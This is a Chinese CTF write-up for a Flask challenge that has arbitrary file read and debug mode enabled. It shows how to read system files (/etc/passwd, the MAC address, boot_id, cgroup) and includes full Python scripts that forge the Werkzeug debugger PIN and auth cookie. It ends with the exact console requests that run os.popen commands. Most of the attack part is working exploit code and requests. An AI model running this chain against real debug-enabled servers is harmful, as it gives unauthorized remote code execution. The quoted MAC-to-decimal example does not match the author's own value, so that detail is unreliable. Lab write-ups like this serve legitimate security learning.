My Flask App 签到题
该题源码很简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from flask import Flask, request, render_templateapp = Flask(__name__) @app.route('/' ) def hello_world (): return render_template('index.html' ) @app.route('/view' ) def view (): filename = request.args.get('filename' ) if not filename: return "Filename is required" , 400 try : with open (filename, 'r' ) as file: content = file.read() return content, 200 except FileNotFoundError: return "File not found" , 404 except Exception as e: return f"Error: {str (e)} " , 500 if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 , debug=True )
给了我们任意文件读取,这里注意debug是打开的,这样的话看看是否可以进/console
那就确定方向了,读配置文件,生成pin码实现RCE
保险起见看一下dockerfile
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 FROM python:3.11 -slim RUN pip install --no-cache-dir flask==3.1 .1 WORKDIR /app COPY app . RUN mv flag.txt /flag-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 32 | head -n 1 ).txt && \ chown -R nobody:nogroup /app USER nobody EXPOSE 5000 CMD ["python" , "app.py" ]
正常
引入这一篇文章https://xz.aliyun.com/news/15462
在数据包里看到werkzeug版本
Werkzeug/3.1.3 Python/3.11.13
我们发现,当 高于3.0.3版本,仅支持回环地址或localhost
我们本地起的环境没这个问题,但是实际做题还是要考虑进去的
还是老样子拿参数
/proc/self/cgroup
为空
/sys/class/net/eth0/address
00:16:3e:03:8f:39
转十进制:156643865643911
/proc/self/cgroup
0::/ 后为空
/proc/sys/kernel/random/boot_id 349c6b4b-8b8c-418e-9366-05b62c5adf21
这里引述一下
1 2 3 4 5 6 7 8 9 10 11 12 13 pin码主要由六个参数构成 probably_public_bits: username:执行代码时的用户名,读/etc/passwd这个文件,然后猜UID:1000 以上一般为人为创建 appname:getattr (app, "__name__" , app.__class__.__name__),固定值,默认是 Flask modname:getattr (app, "module" , t.cast(object , app).class .module),获取固定值,默认是 flask.app moddir:getattr (mod, "__file__" , None ),即 app.py 文件所在路径,一般可以通过查看debug报错信息获得 private_bits: uuid:str (uuid.getnode()),即电脑上的 MAC 地址,也可以通过读取 /sys/class /net/eth0/address 获取,一般得到的是一串十六进制数,将其中的横杠去掉然后转成十进制,例如:00 :16 :3e:03:8f:39 \=> 95529701177 machine_id:get_machine_id(),首先读取 /etc/machine-id (docker不读它,即使有),如果有值则不读取 /proc/sys/kernel/random/boot_id,否则读取该文件。接着读取 /proc/self /cgroup,取第一行的最后一个斜杠 / 后面的所有字符串,与上面读到的值拼接起来,最后得到 machine_id。
注意一下/etc/passwd读的是最后一行
代入脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import hashlibfrom itertools import chainprobably_public_bits = [ 'nobody' , 'flask.app' , 'Flask' , '/usr/local/lib/python3.11/site-packages/flask/app.py' ] private_bits = [ '156643865643911' , '349c6b4b-8b8c-418e-9366-05b62c5adf21 ' ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance (bit, str ): bit = bit.encode('utf-8' ) h.update(bit) h.update(b'cookiesalt' ) cookie_name = '__wzd' + h.hexdigest()[:20 ] print (cookie_name)num = None if num is None : h.update(b'pinsalt' ) num = ('%09d' % int (h.hexdigest(), 16 ))[:9 ] rv = None if rv is None : for group_size in 5 , 4 , 3 : if len (num) % group_size == 0 : rv = '-' .join(num[x:x + group_size].rjust(group_size, '0' ) for x in range (0 , len (num), group_size)) break else : rv = num print (rv)
生成了pin码:272-804-514
当然还差很多继续
直接/console
拿到
1 2 3 4 5 6 7 8 </script> <script> var CONSOLE_MODE = true, EVALEX = true, EVALEX_TRUSTED = false, SECRET = "xYLyyKSERUPhMhe2KEYb" ; </script> </head>
s=xYLyyKSERUPhMhe2KEYb
1 /console?__debugger__=yes&cmd=pinauth&pin=272 -804 -514 &s=xYLyyKSERUPhMhe2KEYb
拿到cookie:__wzd9475701b8471aaf9805b=1756821110|397b91fe8c68
带上之后,直接
1 /console?__debugger__=yes&cmd=import +os;os.popen('ls%20/' ).read()&pin=272 -804 -514 &s=xYLyyKSERUPhMhe2KEYb&frm=0
拿到flag的文件名
当然cookie我们自己也可以拿到,首先第一个脚本拿到了名称
再用一个脚本拿到值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import hashlibimport timePIN_TIME = 60 * 60 * 24 * 7 def hash_pin (pin: str ) -> str : return hashlib.sha1(f"{pin} added salt" .encode("utf-8" , "replace" )).hexdigest()[:12 ] print (f"{int (time.time()+10000 +60 * 60 * 24 * 7 )} |{hash_pin('272-804-514' )} " )